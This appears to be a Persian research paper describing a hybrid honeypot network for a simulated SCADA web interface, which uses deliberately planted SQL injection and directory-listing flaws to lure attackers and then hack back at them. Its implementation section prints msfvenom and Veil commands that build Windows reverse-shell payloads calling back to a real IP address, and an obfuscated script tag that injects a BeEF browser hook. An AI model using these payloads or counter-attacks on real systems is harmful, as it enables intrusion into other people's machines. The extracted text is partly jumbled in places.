 نفااوذ معکااوس یااتو منفعاال و باادون قابل  یینپا

 .کنندیعمل م

 یراهکارها

نفووووووذ 

 معکوس

افاازاری تلااه نرم راهکااار

 ROPانفجاری 

 [41]  Crane, S., et 

al.2013 
 و سرریز بافر ROPمبتنی بر 

پذیر عماادی ساارریز بااافر در بااا ایجاااد آساایب

افزار، آن دسااته از مهاااجمینی کااه اقاادام بااه نرم

نمایند را شناسایی و دهی میتغییر فضای آدرس

 سااامانهبا ارسال کدهای مخرب به سمت حافظه  

مهاجم، تلاش جهت نفوذ معکوس و ضد حمله را 

 دهد.انجام می

پذیر و وب آسیب  راهکار

 سوآلوده سنیت

 [43]  Sintsov, 

A.2013 

باار پروتکاال   )وب   httpمبتنی 

( sqlپذیر به تزریق کااد  آسیب

 و باقابلیت نفوذ معکوس

بندی مهاجمین جهت ضااد بیشتر بر دسته  یدتأک

و رصااد ضااد حملااه  یراهکارهاااحملااه اساات و 

 یوبررساا بحث  هاااوتحلیل آنمهاجمین و تجزیااه

 .گرددنمی

سااارور  RDP راهکاااار

 پوینتآلوده شرکت چک
 [42]   Itkin, E.2019 

اساات   RDPمبتنی بر پروتکل  

 و قابلیت نفوذ معکوس دارد.

پذیر های خاص آلااوده و آساایباستفاده از نسخه

معکااوس   سمت کلاینت و ساارور، امکااان حملااه

 ی تله را دارد.مبتنی بر شبکه

بیف، چارچوب نفوذ  های 

، ترشااالمتااساااپلویت، 

 راتوییل، فات

 [44  ,45]  [4۶  ,47] .

[48]  [49].  [50-52].  

هااای آلااوده بااه با تولیااد پیلود

های مختلف، از بدافزار در فایل

قربااانی، شاال معکااوس   سامانه

 گیرد.می

عنوان یااک ساالاح سااایبری جهاات صاارفاً بااه

قربانی، عماال   سامانهبرداری از  سازی و بهره آلوده 

 یست.نکند و مبتنی بر شبکه تله می

 

 دالون  یبی تله ترک یشن ادی شبکهپ. روش  4

و    یبفر  یهابر روش  یدالون مبتن  یشنهادیبخش، روش پ  یندر ا

 . شودیم  ئهارا  یبری،تله سا

ودالون  سه  تله  راهکار  یاصل  یژگی،  ی،  آور جمع شامل،    شبکه 

تحت عنوان تله وب    نفوذ معکوس  راهکارداده را با    یزکنترل و آنال

به   ضد حمله  یتقابلاست که درنتیجه آن،  کرده    یبترک  انفجاری

 شده است.  در شبکه تله فراهم  ینمهاجم

معکوسقابلیت   رهگ  نفوذ  استفاده  حمله،  وقوع    منشأ  یریو 

بالا  یهااز تله  یبیترک از   یبیاستفاده ترکپایین،  و تعامل    تعامل 

ف  یمجاز  یهاتله تله    یحسگرها   شدهیع توز  یریکارگبهیزیکی،  و 

و    ینمهاجم  یانداز دام بهیبری،  سا وب  و   وتحلیلتجزیههدفمند 

ویژگی حملاتمصورسازی   از  است.  ،  دالون  پیشنهادی  های روش 

  شکل دهنده شبکه تله ترکیبی دالون در  عناصر و اجزای تشکیل 

است. در ادامه، اجزای این شبکه توضیح داده    شدهدادهنشان ،  (5)

 شوند. می
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 با عنصر تله وب انفجاری   داده شدهشبکه تله توسعه  -دالون   چارچوب .(۵)شک  

 

 آوری داده عنصر  م .  4-1

تله  ابمهاجم    تعاملات،  داده  یآورجمع   عنصردر     و   ثبت،  شبکه 

منظور  شونمیتحلیل   این  برای  بالاتلهاز  د.  تعامل  ،  های سایبری 

در بخش   شود.استفاده می  و ترکیبی های سایبری تعامل پایینتله

پا تعامل  از  تله  متوسط  و  است. استفاده   MHN  راهکاریین    شده 

حسگر  . این تله شامل  دهدرا نشان می  MHN، معماری  ( 3)  شکل

  راهکار، از  تعامل بالا  تله است. در بخش    2کورای   حسگر  و  1دیونا 

HiHAT   شکلاستفاده است.  نشان  ،  (4)  شده  را  آن  معماری 

 دهد. می

   تله وب انفجاری •

نفوذ  و    ضد حملهجهت  ی  فرایند(.  3)تله وب انفجاری 1  یفتعر

به   4معکوس  مهاجمین  شبکهدام به  در  این  تله    افتاده  از  است. 

برای   حمله    منشأشناسایی  عنصر  می وقوع    . شود استفاده 

تله  از  فعال  یک  یانفجار  وب  استفاده  جهت    یعسرو    روش 

صورت خودکار  بهکه  مهاجم است  حمله    یهعل  یمواکنش مستق

انفجاری   .شود یاجرا م دالون  تله وب  قابلدر  به    ضد حمله  یت، 

و    دارند  که رفتار پرخطر  کندفراهم میرا  ی  هدفمند  ینمهاجم

 . کنندمی   های مستقرشدهاقدام به نفوذ و دسترسی به تله

انفجاریعنصر    یمفهوم  ی( معمار۶)  شکل  در ح  یتوض  تله وب 

شده انفجاری  .است  داده  وب  شبیه   سه  شامل  تله  ساز  ماژول، 

آسیب  و  بهره تول،  پذیری وب  و  کدید  جهت    مخرب  برداری 

 

1 Dionaea 
2 Cowrie  
3 Web Explosive Trap (Booby Trapping) 
4 HackBack (Reverse Penetration) 

و    مرورگرخودکار    یتاکسپلو بهره تولمهاجم  و  کد ید    برداری 

مهاجم است. در ادامه هر یک از سامانه    یتجهت اکسپلو  مخرب

 شوند. این موارد توضیح داده می

 پذیریساز وب و آسی  ماژول شبیه  •

است. مهاجم    ی کاربردی وبو برنامه  HTTPمبتنی بر    تله این  

اینترنتی و استفاده از خزشگرهای وب   با جستجو در منابع باز 

شبکه به به  هدفمند  تله  صورت  محیط  ی  و  دالون 

میپذیر  آسیب   شدهسازی شبیه مهاجم  دشوهدایت  به  .  ورود  با 

طراحی وب  تله  ازمحیط  استفاده  و  آسیب   شده    پذیر نقاط 

  و تعامل پایین   که تحت نظارت تله سایبری تعامل بالا  عمدی()

و    ؛است  عبور  رمز  کاربر به  نظارت( )  ی نام  تحت  و    جعلی 

میوب پیدا  دسترسی  فریب،  این صفح  کند.سایت  انواع  ات  در 

فرمان سرور  کنترل  )تحت  مخرب  باهدف    کدهای  کنترل(،  و 

سیستم و  مرورگر  خودکار  ایجاد  اکسپلویت  قربانی،  عامل 

بهمی با دسترسی  به    شود.  معکوس  نفوذ  قابلیت  آلوده،  عناصر 

 . شودوقوع حمله فراهم می  منشأمهاجم و شناسایی    سامانه

 مرورگر  یتاک  لو  ت مخرب  کد  یدتولماژول  •

آلوده و درج در  کد اسکریپت  وظیفه این ماژول، تولید پیوندها و  

  ، ورود به این صفحها  ب  .است  انفجاری  وب  تله  اتصفح  5کد منبع 

چنانچه مرورگر  شود.  یخودکار اجرا م  به طور  کد اسکریپت آلوده

آسیب   یقربان از  دارای  و  باشد  آسیب هاافزونه پذیری  یا  ی  پذیر 

باشد  بودنفعال  کرده  استفاده  اسکریپت  بهره جاوا  امکان    ی بردار ، 

معکوس   نفوذ  و  مخرب  داردکد    های روش از    یکی.  وجود 

 

5 Source code 
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 1بیف ها، استفاده از چارچوب  مرورگر  پذیریی از آسیب برداربهره 

کند را قلاب    یدبازد  پذیریباز صفحه آس  که  یمرورگر   بیفاست.  

اجرا  آماده  م  یو  شبکه  .کندیدستورات  این در  دالون،  تله    ی 

 شده است. کنترل طراحی   چارچوب در سرور فرمان و

 م ا م   سامانهمخرب   ت اک  لویت  کد  یدتولماژول  •

این ماژول تولید و نصب   در نقاط مختلف    آلوده  هایفایلوظیفه 

به   انفجاری  وب  تله ماژول  است.  این  فرایند  کارگیری  مستلزم 

اجتماعی آلوده  و  مهندسی  عناصر  این    قربانی   سامانهدر    نصب 

، 3راتفات، 2متااسپلویت یهابخش از چهار چارچوب  نیدر ا است.

وییل 4تر شل تول  5،  و    لیفا  دیجهت  سامانه آلوده  از    یهافرار 

 . شده است  استفادهدفاعی    یسازوکارها تشخیص و  

 وت لی  دادهتج یهعنصر    .4-2

دربه داده  یافتمنظور  از  ارزشمند  شده،  ی آور جمع   یهااطلاعات 

مهاجمینبررسی   پرخطر  رفتارهای  و  مشاهده    حملات  نقشه  و 

صورت  بهبتوانند که یی است سازوکارها نیاز به  جغرافیایی حملات،

از  ،  وتحلیل دادهتجزیه. عنصر  کنندوتحلیل  تجزیهداده را  خودکار  

تجزبه  6اسپلانک   چارچوب ماژول    یهاداده  تحلیلویهعنوان 

تله  شدهی آور جمع  پا  یهااز    استفاده   MHNتله    شبکه  یینتعامل 

تله    شدهی آور جمع   هایوتحلیل داده تجزیه   یبرا همچنین    کند.می

به    HiHATابزار    یاز ماژول اختصاص  یزوب ن  یتعامل بالا  یبریسا

 کند.استفاده می  "Module Analisis Tools"نام  

 عنصر کنترل داده   .4-3

تله اشاره    یدر شبکه   هایییتمحدود  یجادبه ا  مفهوم کنترل داده

به    کندیم نفوذ  از  بعد  مهاجم  توانا  سامانهکه  و   ییتله،  حمله 

از شبکه را نداشته    یرونب  یاو    یمحل یهاسامانه   یربه سا  یدسترس

ا از    ینباشد. در  و   یصتشخ  سامانه  ینهمچنو    آتش  یوارد بخش 

نفوذ  یریجلوگ حلقهبه  7سوریکاتا   از  امن  یعنوان  در    یتیدوم 

با استفاده  نیز    یلفا  یستمسشود.  می   استفاده  دالون  شبکه  یورود 

کنترلکه    8اینوتیفای   از س  یابزار  سطح  است،    عاملیستم در 

 کند.ی را نظارت می سرور اصل  یبر رو  یجادشدها  ییراتتغ

 

 

 
 

1 Beef 
2 Metasploit 
3 TheFatRat 
4 Shellter 
5 Veil 
6 Splunk 
7 Suricata 
8 Inotify 

 سازی دالون. پیاده۵

دالون که در شکلمعماری شبکه  بر    شدهداده نشان  (7)  ای  است 

سازی شده است. این  پیاده   (۶)شکل  مبنای معماری مفهومی آن  

طریق  پیاده  از  یک  شبیه سازی  وب  صنعتی   سامانهسازی  کنترل 

روش کار    شد.انجام  کشور    یبریسا  یدر محدوده فضا   و  9اسکادا 

ابتدا   که  است  شکل  این  و    SQL  کد  قیتزر  یر یپذبی آسبه 

تله   10ر یمس  شیمایپ  یر یپذب یآس فر  در  ایجاد    بیوب  انفجاری 

ادامه  یم بدافزارشود. در  پایش و    ی متنوع و متعدد تحتعناصر 

 رند. یگی قرار م  فرمان و کنترلکنترل سرور  

 پیکربندی معماری دالون .  ۵-1

دالونساز اده یپ شبکه  مح  ی  فضا  یواقع  ط یدر  بستر  در    ی و 

انجام  نترنتیا اصلی  بر سه عنصر  مبتنی  است.کشور  عنصر    شده 

شبیه  جادیااول،   این    اسکادا  HMI  سامانه  سازیو    سامانه است. 

بدافزار  ریپذب یآس  ،بیفر  سامانهعنوان  به به  آلوده  و    و  طراحی 

در  پیاده  و  شده  انفجار  تلهسازی  موب  استفاده  عنصر    شود.یی 

جمع  وآوری،  دوم،  بردار   ل یتحل  نظارت  حملات  اطلاعات  های 

ن عنصر، توسط تله سایبری  یمهاجمین هدفمند سطح بالا است. ا

بالای   پیاده  Hihatتعامل  دالون  مدر  جمع ی سازی  آوری،  شود. 

نظارت و تحلیل اطلاعات سایر مهاجمین سطح پایین و همچنین  

سوم،   عنصر  توسط  خودکار،  پایش  و  شناسایی    تلهابزارهای 

دیونا، کورای و    یحسگرها و از طریق     MHN  یینپاتعامل    یبر یسا

شود. مشخصات سرورها،  یسازی مسوریکاتا در شبکه دالون پیاده 

پیکربندی ماشین  مجازی،  نصب های  ابزارهای  و  برای  ها  شده 

 است.   شدهدادهنشان   (2)  سازی این معماری در جدولپیاده 

 

9 SCADA 
10 Directory listing 
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 معماری مفهومی عنصر تله وب انفجاری دالون  .(۶)ک  ش

 

 دالاون  یبیترک تله  شبکه  یمعمار .(7)ک  ش

 

 سازی تله وب انفجاریپیاده.  ۵-2

ن منظور،  یسازی شده است. بدتله وب انفجاری در پنج گام پیاده 

دالون،  محدوده  شکار  شدندهدفمند  نیمهاجمی  انتخاب  که    ی 

آن نفوذ  یآور جمع   ،هاهدف  و  سامانه   اطلاعات  کنترل  به  های 

ابتدا   مهاجمین  این  است.  حمله فرایند    و  ییشناساصنعتی    ضد 

شده  های انجام در ادامه گام  .شوند یمو اجرا    یزیربرنامه ها  آن  هیعل

 شود. ارائه می 

                         

                

     

Port 80 / HTTP

HiHAT                      

              

                 
                                        

                        

                               
                                   

                             

     

                      
     SQL    Directory Listing

Login Page Exploitaion Trap

                     

                      
                                 

                 

               

                                 
                 

 (Kali2019)

      

          

                     

                                
                    

              

                      
Reverse Shell Attacker System

Metasploit 3

                          
HoneyToken

                         

Hooked Browser
BeEF

                  
        

Browser Exploitation Framework 

                

            HIHAT
Analisis Behavior Statistic

Mapping Download

Fully undetectable for Bypass AV

                                    

Shelter Veil 

TheFatRat

Avoidz 1.2

Msfvnom FudWin 1.0

Trodebi

                                 
                 

              HMI  
            

                               

                             
                        

        

     

               
            

    

Port 22,445,3306 / SSH,SMB,Mysql

                 
                      

     

 

Linux Ubuntu 14.04 Xenial (Phy-Srv) Linux Kali 2.0 (Vm-C2)

Linux Ubuntu 14.04 Xenial (Vm-Low)

Linux Ubuntu 14.04 Xenial

       

80

445-3306-22

Database

Database

         
Port Forwarding

                    
MHN

                             
Hihat

     
       

                              
MHN 

                        
Splunk 

     
       

     

Data 
Analysis
Data Control

Data 
Analysis

Data Control
Data Exploit

Metasploit
BeEF 
CanaryToken
TheFatRat
Shelter
Veil

                      
          

Database

IPtable
Inotify
WireShark
Tcpdump

Dionaea (SMB,Mysql-445/3306)
Cowrie (SSH -22/23)
Suricata(IDS/ALL Port)

Modern Honeypot Network

HiHat Web Honeypot
Webserver
php
Apache
Mysql

MHN Package

Splunk 
Package

Data Capture

Data 
Analysis
Data Control

Data Capture
Data 
Analysis
Data Control

     
       

                                      

Scada Infected Web 

Trap Exploitation
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اول: اسکادا  HMI  سامانهسازی  شبیه   گام  :  کنترل  نعتی 

سرویس ،  شدهطراحی   تله صنعتی   سامانهوب    دهندهیک  کنترل 

است  اسکادا دور  راه  از  دسترسی  اساسکه    و  مدل  وب   بر  سرور 

Saia PCD    وBAS Scada System  شده است. صفحه  سازی شبیه

 است.   شدهداده نشان ،  ( 8)  تله وب ایجادشده در شکل

 سازی تله وب انفجاریپیاده.  ۵-2

ن منظور،  یسازی شده است. بدتله وب انفجاری در پنج گام پیاده 

دالون،  محدوده  شکار  شدندهدفمند  نیمهاجمی  انتخاب  که    ی 

آن نفوذ  یآور جمع   ،هاهدف  و  سامانه   اطلاعات  کنترل  به  های 

است ابتدا    .صنعتی  مهاجمین  حمله فرایند    و  ییشناسااین    ضد 

شده  های انجام در ادامه گام  .شوند یمو اجرا    یزیربرنامه ها  آن  هیعل

می  اول: شود. ارائه  کنترل    HMI  سامانهسازی  شبیه  گام 

  سامانه وب    دهندهیک سرویس ،  شده طراحی  تله:   نعتی اسکادا

است  اسکاداکنترل صنعتی   دور  راه  از  دسترسی  اساس که    و    بر 

شده  سازی شبیه  BAS Scada Systemو    Saia PCDسرور مدل  وب

 است.   شدهداده نشان ،  (8)  است. صفحه تله وب ایجادشده در شکل

 

 معماری شبکه تله ترکیبی دالون  پیکربندی .(2)  دول 

 شدهاب ارهای نص  پیکربندی عام سی تم نقش عنوان / شناسه

 سرور فی یکی

 
Phy-Srv 

 

 

 دهنده وبسرویس

 تله سایبری تعامل بالا

 

 حسگرهای تعامل پایین

Linux Ubuntu 

14.04 LTS 

 

IP: 194.5.177.230 

Ram: 6 G 

Cpu: 2 Core 

Hdd: 100 G 

Loc: Iran 

 LAMP (Apache 2.4.7،Linux 4، PHP سااروروب

5.5.9، Mysql 5.5)  

 HMIپذیر آسیب  شده وسازیصنعتی شبیهتله وب اسکادا 

 HiHATسرور تله تعامل بالای 

 Cowrieو    Dionaeaحسگر تعامل پایین 

 IPtableحسگر تشخیص نفوذ  و آتش یوارد

 Inotifyو   Suricataحسگر تشخیص نفوذ 

 Vmware 12.5.7 سازیمجاز

 1-ماشین مجازی

 
Vm-Low 

تلااه سااایبری تعاماال ساارور 

 پایین

Linux 

Ubuntu18.04 

LTS 
 

IP: 46.209.11.34 

Ram: 2 G 

Cpu: 1 Core 

Hdd: 50 G 

Loc: Vm1 local 

 MHNسرور تله تعامل پایین 

 Splunkچارچوب تحلیل ترافیک و شکار تهدید 

 2-ماشین مجازی

 
Vm-C&C 

سرور )  و کنترل  سرور فرمان

 تله وب انفجاری(

Kali linux 

Ubuntu 16.04 

LTS 

IP: 46.209.11.35 

Ram: 2 G 

Cpu: 1 Core 

Hdd: 50 G 

Loc: Vm2 local 

 C2  فرمان و کنترلسرور 

 Metasploitچارچوب 

 BeEF-ه برداری لینک آلودچارچوب بهره 

 ThefatRat -ه برداری فایل آلودچارچوب بهره 

  Shelterو  Veil-Evasionچارچوب مبهم ساز و گریز  

 

 
 ی و آلوده به بدافزار با نمونه اصلتله  سازی یهشب .(8شک  )
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 پذیری عمدی ایجادشده در تله وب انفجاریوضعیت آسیب .(3) دول 

 روش  مله  پذیری نوع آسی  
م یر و متغیر  

 پذیرآسی  
 ( CVSS) س   خ ر 

 امتیاز    اسیت

پذیری ت ریووک کوود آسووی 
SQL   

  SQL injection Attack (SQLi)     :نوع حمله

    Error Base  :روش حمله

 login.php  :مسیر

 pwd  :متغیر
 10 بالا

  SQLپذیری ت ریک کد  آسی 
 Blind SQL Injection Attack (SQLi)  :نوع حمله

 Blind Base  :روش حمله

 login.php  :مسیر

 pwd  :متغیر
 10 بالا

 7 متوسط base/و    backup/  :مسیر Directory listing (Discloser)  :نوع حمله پذیری پیمایش م یرآسی 

: در این گام، دو  SQLکد    پذیری ت ریکآسی  ایجاد    گام دوم:

و سطح خطر    CWE-89با کد    1SQLپذیری تزریق کد  نوع آسیب 

انفجاری ایجاد م   2ها پذیری شود. این نوع آسیب یبالا، در تله وب 

های نامعتبر و دسترسی به  از ورودی برداری  اجازه بهره   به مهاجم

، ورود به پنل مدیریتی وب و هدایت به سمت صفحات دادهیگاه پا

 دهند. فریب آلوده را می

پیمایش م یر ایجاد آسی    گام سوم: این گام،  3پذیری  : در 

و سطح خطر    CWE-538کد  با    Directory listingپذیری  آسیب 

م،  متوسط ایجاد  انفجاری  وب  تله  نوع  شود.  یدر  این  در 

پیکربندیگونهبه   سروروب ،  یپذیر آسیب  امکان    شودمی   ای  که 

فایل از  فهرستی  پوشهنمایش  در  موجود  مسیرهای  های  و  ها 

می د   نمایش  سروروبمختلف   فایل   د.شواده  قرارگرفتن  های  با 

 شود. داده می مخرب در این مسیرهای باز، مهاجم فریب  

که    انفجاری  در تله وب  جادشدهیا  یعمد  یریپذبیآس(،  3)  جدول

  دهد.در گام دوم و سوم بیان شد را نشان می

: در این  های آلوده به بداف ار: ایجاد و نص  فای گام چ ارم

فایل  انواع  بدافزار  گام،  به  آلوده  سرور  exe  4و    pdf  ،docهای  در 

کنترل و  می  فرمان  بهره ایجاد  جهت  و  شنود شود  و   5برداری 

می  قرار  این  مورداستفاده  از  مهاجم  استفاده  صورت  در  گیرد. 

و  فایل ارتباط  یک  معکوس ها،  سرور    سامانهاز    شل  به  قربانی 

می   و  فرمان گرفته  معکوس  دسترسی  و  برقرار  در  کنترل  شود. 

مشخص،    (9)  شکل مسیرهای  در  مخرب  فایل  ایجاد  کد  نمونه 

 ارائه شده است. 

 

 

 

 

 

 
 

 

1 Blind And Error SQL Injection Attack 
بیشترین نوع حمالات وب را باه خاود اختصااص داده  2018در سال پذیری این آسیب  2

 .است
3 Directory Listing / Path Traversal 

برداری و آلوده سازی توسط مهاجمین را بیشترین بهره  2018ها در سال این نوع از فایل 4

 دارد.
5 Sniff 

http://IP/base/javasetup.exe  

http://IP/base/BAS_SCADA_manual.pdf 

http://IP/admin/manual.do 

 

#msfvenom -a x86 --platform windows -p 
windows/shell/reverse_tcp 

LHOST=194.5.177.230 LPORT=443 -b "\x00" 

-e x86/shikata_ga_nai -f exe -o 

plugin.exe 

 

#/Veil.py -l python -p b64VirtualAlloc 
-o undetectable --msfpayload 

windows/meterpreter/reverse_tcp --

msfoptions LHOST=194.5.177.230 

LPORT=443 

 های آلوده نمونه کد مخرب و مسیر فایل. (9) شک 

در   :آلوده  ی اوا  یوندو پ  ی تاسکریجاد و نص   ا:  گام پنجم

گام،   اسکریپت این  بدافزار  آلوده  هایکد  تحت   hook.js  به  که 

  در صورت در صفحات مربوطه تزریق شد.    استسرور بیف  نظارت  

و مهاجم  معکوس   پذیربودنیب آس  ورود  دسترسی    مرورگر، 

خودکاربه شکلمیفراهم    صورت  در  کد   (10)  شود.  نمونه 

 ، ارائه شده است. مبهم سازاسکریپت آلوده و  
http://IP/panel.php 

http://IP/base/base.php 
 

<script src= 
“http://194.5.177.230:3000/hook.js; typ

e= “text/javascript” > </script> 
Var x = document. createElement 

(String.fromCharCode(115,99,114,105,112

,116)) ;//"script" 

x.src=String.fromCharCode 

(104,116,116,112,58,47,47,49,57,52,46 

,35,46,49,55,55,46,50,51,48,58,51,48,48

,48) ;  

//"http:// 194.5.177.230:3000" 
document. body. appendChild(x) ; 

 آلوده  یپت و مسیرهاینمونه کد اسکر .(10) شک 

 سازی تله تعام  پایینپیاده.  ۵-3

تعامل   فعالیتبرای  پایین  تله  و  حملات  سایر  های  شناسایی 

میپیاده   مهاجمین  مشکو  تله  سازی  برای    MHNشود. 

پیاده جمع  حملاتی  مآوری    با معمولاً  مهاجمین  که  شود  ی سازی 

اینترنت فضای  در  خودکار  اسکنرهای  و  سرویس ،  ابزارها  و  از  ها 

http://ip/admin/manual.do
http://ip/base/base.php
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جمع  فعال  اطلاعاتمنابع  می   آوری  از  انجام  استفاده  با  دهند. 

ها و حملات بر روی  بدافزار  ی آور جمع   دیونا و کورای  هایحسگر

  داده یگاه پاسرویس    330۶  درگاه   ،SMBسرویس    445  درگاه

Mysql  سرویس  23و    22های  درگاه  و  SSH    وTelnet     صورت

 رد.یگیم

 سازی تله تعام  با پیاده.  ۵-4

را   مهاجمین هدفمند  و رهگیری  امکان شناسایی  بالا،  تعامل  تله 

می پیادهفراهم  با  تله  این  چارچوب  کند.  انجام    Hihatسازی 

  phpبر    یوب مبتن یهابرنامه  یلتبدگیرد. در این چارچوب، با  می

شبیه انفجاری،  و  تله  بخش  در  اسکادا  فریب  وب  کلیه سازی 

مورد حملات  و  م  نظارت  تغییرات  قرار  شنود  انواع   رد.یگیو 

از  ،   1داده کد پایگاه مختلف حملات وب مانند تزریق   تزریق فایل 

اسکریپت   2راه دور  که توسط مهاجم جهت نفوذ و   3و تزریق کد 

می  استفاده  دسترسی  جمعافزایش  تله  این  توسط  و  شود،  آوری 

 شود.تحلیل می

 ها. آزمایش۶

آمده بررسی و  دستها و نتایج به، نحوه انجام آزمایش در این بخش

این آزمایش  ارائه می  بازهشود.  پی  در بستر آیدوماهه    یزمان  در 

و   اساسداخلی کشور  و    رفتارهای  بر  مهاجممخرب  ین  هدفمند 

وب    سایبری تله  شامل،  دالون  در  ترکیبی  راهکار  سه  توسط 

پایین، جمع  بالا و تله تعامل  و  انفجاری، تله تعامل  آوری، تحلیل 

 .دوشی م  ارزیابی

 . م ی  آزمایش1-۶

زیرساخت  شامل  آزمایش  نرم محیط  و  ها،  ابزارها  افزارها، 

برنامه محیط شده های  فهرست  ادامه  در  که  است  دو  نویسی  اند. 

اشتراکی   مجازی  آی   VPSسرور  معتبر و  از  4پی  اینترنت  داخلی، 

شور، هاست و دامنه اختصاصی،  کخدمات داخل    ارائهت  کشر  یک

و  6لینوکس  -عامل کالی  ، سیستم5و داکر   Vmwareسازهای  مجازی 

Ubuntu18,14  ،ترافیک کنترل  و  شنود  ابزارهای  ،  آتش   یوارد، 

تعبیه  MHN  ،Hihatهای  پات هانی سوریکاتا و حسگرهای  ،  7شده 

دیونا 8کورای  اسپلانک 9،  وب یسپرا  ینترا  7.2.۶نسخه10،  سرور  ، 

نسخه شبیه 2.2آپاچی  ابزارهای  وب  ،  زبان  Httrackساز   ،

در  phpو    Bash  ،Pythonنویسی  برنامه  کاربری  اشترا    ،
 

1 SQL injection (SQLi) 

2 Remote/Local File Inclusion (RFI/LFI) 
3 Cross Site Script (XSS) 
4 Valid IP 

5 Docker 

6 Kali Linux 
7 Suricata 
8 Cowrie 
9 Dionaea 
10 Splunk 

پیست محیط توییتر،  انتشار   12و شودان 11بین های  و  جهت فریب 

آسیب  آسیب خبر  اسکن  ابزارهای  و    Acunetixپذیری  پذیری، 

Namp . 

 یین: تله تعام  پا1 یشآزما.  2-۶

در این آزمایش، کلیه رویدادهای دریافتی توسط سه حسگر فعال  

پایین   تعامل  تله  در  کورای  و  دیونا  شده  بررسی  MHNسوریکاتا، 

زمانی دوماهه آزمایش و ثبت    در بازهیداد  رو  23۵0411تعداد  است.  

نشان    (4)  جدول  .شد حسگر  نوع  تفکیک  به  را  رویدادها  این 

با    دهد.می دیونا  حسگر  به  مربوط  ترافیک  حجم    ۶2بیشترین 

با   آن  کمترین  و  ترافیک  حسگر  3درصد حجم  به  مربوط  درصد 

 سوریکاتا است. 
 به تفکیک حسگرها   MHN یافتی در  یدادهای رو .(4)   دول
 تعداد کاربری درگاه فعال نوع   گر

Dionaea 330۶ /445  سرویسSMB  وMysql 14۶0338 

Cowrie 22  سرویسSSH 813199 

Suricata  7۶874 حسگر ترافیک مشکو  هاهمه درگاه 

تفکیک درگاه   مجموع رویدادهای   های فعال در شکل دریافتی به 

درگاه    شدهداده نشان   (11) و  %  58میزان    به  (SMB)  445است. 

میزان  SSH)  22درگاه   به  ترافیک  34(  حجم  خود  %  به  را 

دهنده علاقه مهاجمین جهت انجام  نشان که    است  اختصاص داده

قربانی   رمز عبورو شناسایی نام کاربری و  13کامل حمله جستجوی

 است. 

 
 لفعا های درگاه کیبه تفک  یافتیدر  هایدادیرو .(11) شک 

بهتعداد    یشترینب کشور    445درگاه    اتصال  به  با    14"و"مربوط 

شکل   استحمله    283027 در  .  است  شدهداده نشان   (12)که 

 "ر"مربوط به کشور    22درگاه    اتصال بهتعداد    یشترینبهمچنین،  

.  است  شدهداده نشان  (13)  که در شکل استحمله    520744با  

مربوط به کشور    330۶  درگاه  اتصال به  یشترینبنیز    (14)شکل  

 دهد.نشان می را  حمله    3430با    "چ"

 

11 Pastebin 

12 Shodan 
13 BruteForce Attack 

 سازی شده است. به جهت رعایت مسایل حقوقی، نام واقعی کشورها گمنام 14

1371682

814093

42010 26412 13488 10100

445 22 23 1433 5060 80

                MHN

درگاه فعال
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 (SMB) 445تعداد اتصالات مهاجم به درگاه  .(12) شک 

 

 
 ( SSH) 22به درگاه  تعداد اتصالات مهاجم  .(13) شک 

 
 (Mysql) 3306به درگاه  تعداد اتصالات مهاجم .(14) شک 

که    کورای  شده توسط حسگرو رمز عبور ثبت  ینام کاربر   نیشتریب

  شکل آمده، در  دست به  SSH  س یسرو  به  جامع  یبا حمله جستجو 

 است.   شدهداده نشان (  1۶  و  15)

 توسط مهاجم شده تست رمز عبور ن یشتربی .(1۵شک  )

 توسط مهاجم شده تست ینام کاربر  نی شتربی .(1۶شک  )

 : تله تعام  با 2. آزمایش  3-۶

با مرتبط  دریافتی  رویدادهای  و  حملات  آزمایش،  این  تله   در 

به  شده  حملات ثبت   نیشتریب شود.  بررسی می  Hihat  یتعامل بالا

درگاه   روی  بر  وب  به80تله  شکل  کشور  کیتفک  ،    ( 17)  در 

  با   "چ"شود کشور  طور که مشاهده می است. همان   شدهداده نشان 

 هستند.  بیشترین مبدأ حمله%  19با  " آ"و  %  40

 
 بیشترین حملات به تفکیک کشور مهاجم  .(17) شک 

آزمایش این  تعداد    نتایج  بین  از  که  داد  به حمل  28۶7نشان  ه 

  ق یبه حمله تزرمربوط  ها  آن  ن یشتریبشده،  سازی صفحه وب شبیه

  نوع   نیشتربی  از   مورد  چهار  .مورد است   2303به میزان    SQLکد  

  شده داده نشان   (5)  در جدول  Hihatتوسط  شده  حملات شناسایی 

 است. 
 Hihatشده توسط بیشترین نوع حمله شناسایی  .(۵)  دول

 توضی ات  در د تعداد  مله

Injection-SQL 2303 78%  مله ت ریک کد SQL 

Directory-Listing 407 14%  مله پیمایش م یر  

INCLUSION  192 ۶%  مله LFI  

XSS  ۶4 2% 
 ملووه ت ریووک کوود 

 اسکری ت

  

283027

147481
122528 121962

89184
56429 41925

و ا هن ر ب ت چ

     Dionaea   MHN

SMB/ 445درگاه 

520744

40323 18226 17199 9607 4961

ر ه آ چ ل ف

     Cowrie   MHN

SSH/22درگاه 

3430

2944

2103

91 66 59

چ آ ل س ب ر

     Dionaea   MHN

Mysql/ 3306درگاه 

4456

3210
2857 2713

2271

1631

123456 admin 12345 nproc 123 1234

     Cowrie   MHN

تعداد رمزعبور

33743

3336 3132 3131 2822

admin adm ftp guest ftpuser

     Cowrie   MHN

تعداد نام کاربری

40

19
14 12

4

چ آ ژ آف ل

               HiHAT

HiHATتله تعامل بالای 
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 : تله وب انفجاری3. آزمایش 4-۶

انفجار  تله  جینتاآزمایش،    نیا می  ی وب  نشان  دالون  در  دهد.  را 

قدام به نفوذ و  دهد که ارا نشان می  یمهاجم  اطلاعات  ،(۶)  جدول

. این  کرده است  "panel.php/"به مسیر و صفحه آلوده   ی دسترس

مهاجمین   از  آس دسته  از  استفاده    ،SQL  کد  یقتزر  پذیرییببا 

دسترس و  نفوذ  به  صفحه  یموفق  سپس    و  "panel.php"به 

سایر   آلودهمسمشاهده  اند.  شده   "/base/"و    "/backup/"  یرهای 

مورد  درمجموع   یک   گرفتهصورت نفوذ  چهار  که  از  مورد    است 

معکوسبه    منجرها  آن طر  نفوذ  در    آلوده  یلفا  یقاز 

مورد    " "base/javasetup.exe/ریمس درگاه  ه  شد   445  یبررسبا 

 . است
 panel.phpمسیر  - یانفجار در تلهین مهاجمشناسایی  .(۶)  دول

دسترسی به 

 م یر
 کشور  پی م ا مآی

  درخواست 

 مخرب

/panel.php 

 ۶ چ 111.23.144.13

 4 آ ۶۶.240.205.34

 2 ناشناس 104.244.7۶.13

 2 ژ ۶1.21.11.153

 14 های مخربمجموع درخواست

 

 base.phpمسیر  - یانفجار در تلهین مهاجمشناسایی   .(7)  دول

دسترسی به 

 م یر
 کشور  پی م ا مآی

  درخواست 

 مخرب

/base/base.php 

 40 چ 111.23.144.13

